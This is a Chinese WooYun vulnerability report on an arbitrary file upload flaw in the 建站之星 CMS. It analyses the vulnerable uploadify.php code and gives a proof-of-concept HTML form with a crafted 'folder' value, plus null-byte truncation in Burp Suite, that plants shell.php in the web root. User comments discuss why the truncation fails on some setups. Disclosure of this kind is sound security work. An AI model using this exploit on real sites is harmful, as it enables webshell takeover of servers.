当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2014-48760

漏洞标题: 建站之星任意文件上传漏洞(续一)

相关厂商: 建站之星

漏洞作者: felixk3y

提交时间: 2014-01-13 15:47

公开时间: 2014-04-13 15:47

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: webshell 任意文件上传 文件上传内容未检查 文件上传漏洞

9人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-13: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-03-10: 细节向核心白帽子及相关领域专家公开
2014-03-20: 细节向普通白帽子公开
2014-03-30: 细节向实习白帽子公开
2014-04-13: 细节向公众公开

简要描述:

本月8号就发了个同样的上传漏洞
http://www.wooyun.org/bugs/wooyun-2010-048293
迟迟不给确认,好吧 那我就只有用这种方式催催...
Tips:如果再不及时确认,就公布续集二...

详细说明:

#1 漏洞挖掘

漏洞出现在

/script/multiupload/uploadify.php 51行---

code 区域
if (!empty($_FILES) && in_array($file_ext,$ext_arr)) {
//echo '2222';
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';
//echo $targetPath;
$imgfile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
// 解决Windows中文文件名乱码
if (preg_match("/^WIN/i", PHP_OS)) {
$imgfile = iconv('UTF-8', 'GBK', $imgfile);
}

move_uploaded_file($tempFile, $imgfile);
ParamParser::fire_virus($imgfile);

function img_restruck($imgfile_name,$root, $path = 'upload/image/') {
define('SSFCK', 1);
define('SSROOT', $root);
include_once($root.'/library/image.func.php');

$fullfilename = SSROOT."/$path".$imgfile_name;

WaterImg($fullfilename, 'up');
}

if($WATERMARK_STATUS) img_restruck($_FILES['Filedata']['name'],$root);
echo "1";
}



#2 漏洞分析

往往出现文件上传漏洞,不是文件名可控,就是路径可控(低级的文件上传不包括在内)

看看文件名是否可控

搜索move_uploaded_file函数,往前看...

code 区域
move_uploaded_file($tempFile, $imgfile);



跟上$imgfile

code 区域
$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];



$_FILES['Filedata']['name']貌似我们可以控制,继续...

code 区域
$_FILES['Filedata']['name'] = date("YmdHis") . '_' . rand(10, 99) . '.' . $file_ext;



看见了吧,原来我们不可控.好吧 那我们继续看另一个:路径是否可控

code 区域
$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];



跟下$targetPath

code 区域
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';



看看 $path 怎么来的,本文件第14行:

code 区域
list($path, $target) = explode("|", $_POST['folder']);



看见了吧? $_POST['folder'] 是我们完全可以控制的

呵呵 ,看吧 漏洞挖掘原来如此简单...

(其实一点儿也不简单 :-))

漏洞证明:

#3 漏洞利用

将如下代码保存为Upload.htm

code 区域
<html>
<body>
<form id="frmUpload" action="**.**.**.**/sitestar/script/multiupload/uploadify.php?" method="post" enctype="multipart/form-data" >
<input type="file" name="Filedata" id="Filedata">
<input name="folder" type="hidden" value="/shell.php.jpg|shell.jpg">
<input id="btnUpload" type="submit" value="Upload">
</form>
</body>
</html>



访问Upload.htm,采用Burpsuite抓包截断

2.jpg



点击Forward,就可在根目录下生成shell.php

0.jpg

修复方案:

你们懂,如有疑问 可以联系我。

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-14 10:59

厂商回复:

漏洞已经发补丁包,感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-01-13 16:18 | 【|→上善若水】 ( 普通白帽子 | Rank:127 漏洞数:25 | 【|→上善若水】)
    2

    大牛啊,牛逼轰轰啊!

  2. 2014-01-13 17:02 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM:bbs.jyhack.com 群:308694453...)
    1

    叼炸天

  3. 2014-04-14 09:23 | 大大怪 ( 路人 | Rank:0 漏洞数:1 | PHP 爱好者)
    0

    iis 7 不支持 DOCUMENT_ROOT ,也算是这个程序一个缺陷。

  4. 2014-04-14 09:33 | 大大怪 ( 路人 | Rank:0 漏洞数:1 | PHP 爱好者)
    0

    我在 ii7.5 php 5.3 上 始终 00 无法截断。 请楼主解答。

  5. 2014-05-02 15:19 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @大大怪 5.3.4 不支持%00

登录后才能发表评论,请先 登录